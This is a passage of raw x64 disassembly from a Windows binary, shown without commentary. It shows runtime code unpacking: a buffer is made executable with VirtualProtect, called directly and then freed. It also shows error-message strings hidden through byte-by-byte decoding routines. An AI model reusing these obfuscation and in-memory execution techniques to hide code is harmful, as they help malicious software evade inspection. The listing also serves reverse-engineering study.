call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x23470]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x3d540], rax
add rsi, r14
cmp rsi, 0x200
jl 0x14002471a
mov r8d, 0x1000
lea rdx, [rbp + 0x3d540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor esi, esi
mov dword [rbp + 0xed4], esi
lea r9, [rbp + 0xed4]
lea r14d, [rsi + 0x20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xd78]
lea rdx, [rbp + 0xd90]
mov rcx, qword [rbp - 0x40]
call rdi
lea r9, [rbp + 0xed4]
mov r8d, dword [rbp + 0xed4]
mov edi, 0x1000
mov edx, edi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, edi
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
lea edx, [rsi + 0xb]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dd364], esi
lea esi, [r14 - 0xc]
add qword [rbp - 0x30], rsi
lea rcx, [rbp + 0xfd0]
call fcn.14002eca0
mov r10, qword [rbp - 0x30]
mov r15, qword [rbp - 0x58]
jmp 0x14001c046
mov byte [rbp + 0x428], 9
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x429], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x42a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x42b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x42c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x42d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x42e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x42f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x430], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x431], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x432], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x433], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x434], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x435], al
mov r9, rbx
lea r15d, [rsi + 0xc]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x436], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x437], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x438], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + 0x439], al
xor eax, eax
mov byte [rbp + 0x43a], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x429]
lea rcx, [rbp + 0x428]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x429], al
add rdi, rsi
cmp rdi, rbx
jb 0x140024a05
xor edi, edi
mov byte [rbp + 0x43a], dil
mov byte [rbp + 0x548], 0x50
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x549], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x54a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x54b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x54c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x54d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x54e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x54f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x550], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x551], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x552], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x553], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x554], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x555], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x556], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x557], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x558], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x559], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x55a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x55b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x33
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + 0x55c], al
xor eax, eax
mov byte [rbp + 0x55d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x549]
lea rcx, [rbp + 0x548]
call fcn.14002e778
mov byte [rbp + rdi + 0x549], al
add rdi, rbx
cmp rdi, rsi
jb 0x140024c65
xor eax, eax
mov byte [rbp + 0x55d], al
xor r9d, r9d
lea r8, [rbp + 0x429]
lea rdx, [rbp + 0x549]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x458], 0x41
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x459], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x45a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x45b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x45c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x45d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x45e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x45f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x460], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x461], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x462], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x463], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x464], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x465], al
mov r9, rbx
lea r15d, [rsi + 0xc]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x466], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x467], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x468], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + 0x469], al
xor eax, eax
mov byte [rbp + 0x46a], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x459]
lea rcx, [rbp + 0x458]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x459], al
add rdi, rsi
cmp rdi, rbx
jb 0x140025331
xor edi, edi
mov byte [rbp + 0x46a], dil
mov byte [rbp + 0x578], Ordinal_46
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x579], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x57a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x57b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x57c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x57d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x57e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x57f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x580], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x581], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x582], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x583], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x584], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x585], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x586], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x587], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x588], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x589], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x58a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x58b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x36
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + 0x58c], al
xor eax, eax
mov byte [rbp + 0x58d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x579]
lea rcx, [rbp + 0x578]
call fcn.14002e778
mov byte [rbp + rdi + 0x579], al
add rdi, rbx
cmp rdi, rsi
jb 0x140025591
xor eax, eax
mov byte [rbp + 0x58d], al
xor r9d, r9d
lea r8, [rbp + 0x459]
lea rdx, [rbp + 0x579]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x2c0], Ordinal_79
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c1], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c2], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c3], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c4], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c5], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c6], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c7], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c8], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2c9], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2ca], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2cb], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2cc], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2cd], al
mov r9, rbx
lea r15d, [rsi + 0xc]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2ce], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2cf], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2d0], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + 0x2d1], al
xor eax, eax
mov byte [rbp + 0x2d2], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2c1]
lea rcx, [rbp + 0x2c0]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x2c1], al
add rdi, rsi
cmp rdi, rbx
jb 0x1400257c5
xor edi, edi
mov byte [rbp + 0x2d2], dil
mov byte [rbp + 0x590], Ordinal_41
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x591], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x592], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x593], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x594], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x595], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x596], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x597], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x598], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x599], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x59a], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x59b], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x59c], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x59d], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x59e], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x59f], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x5a0], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x5a1], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x5a2], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x5a3], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x35
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + 0x5a4], al
xor eax, eax
mov byte [rbp + 0x5a5], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x591]
lea rcx, [rbp + 0x590]
call fcn.14002e778
mov byte [rbp + rdi + 0x591], al
add rdi, rbx
cmp rdi, rsi
jb 0x140025a25
xor eax, eax
mov byte [rbp + 0x5a5], al
xor r9d, r9d
lea r8, [rbp + 0x2c1]
lea rdx, [rbp + 0x591]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x2d8], reloc.WLDAP32.dll_Ordinal_60
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2d9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2da], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2db], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2dc], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2dd], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2de], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2df], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e4], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e5], al
mov r9, rbx
lea r15d, [rsi + 0xc]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e6], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e8], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + 0x2e9], al
xor eax, eax
mov byte [rbp + 0x2ea], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2d9]
lea rcx, [rbp + 0x2d8]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x2d9], al
add rdi, rsi
cmp rdi, rbx
jb 0x140025c59
xor edi, edi
mov byte [rbp + 0x2ea], dil
mov byte [rbp + 0x5a8], gethostname
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5a9], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5aa], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5ab], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5ac], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5ad], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5ae], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5af], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b0], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b1], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b2], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b3], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b4], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b5], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b6], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b7], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b8], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5b9], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5ba], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5bb], al
mov r9d, esi
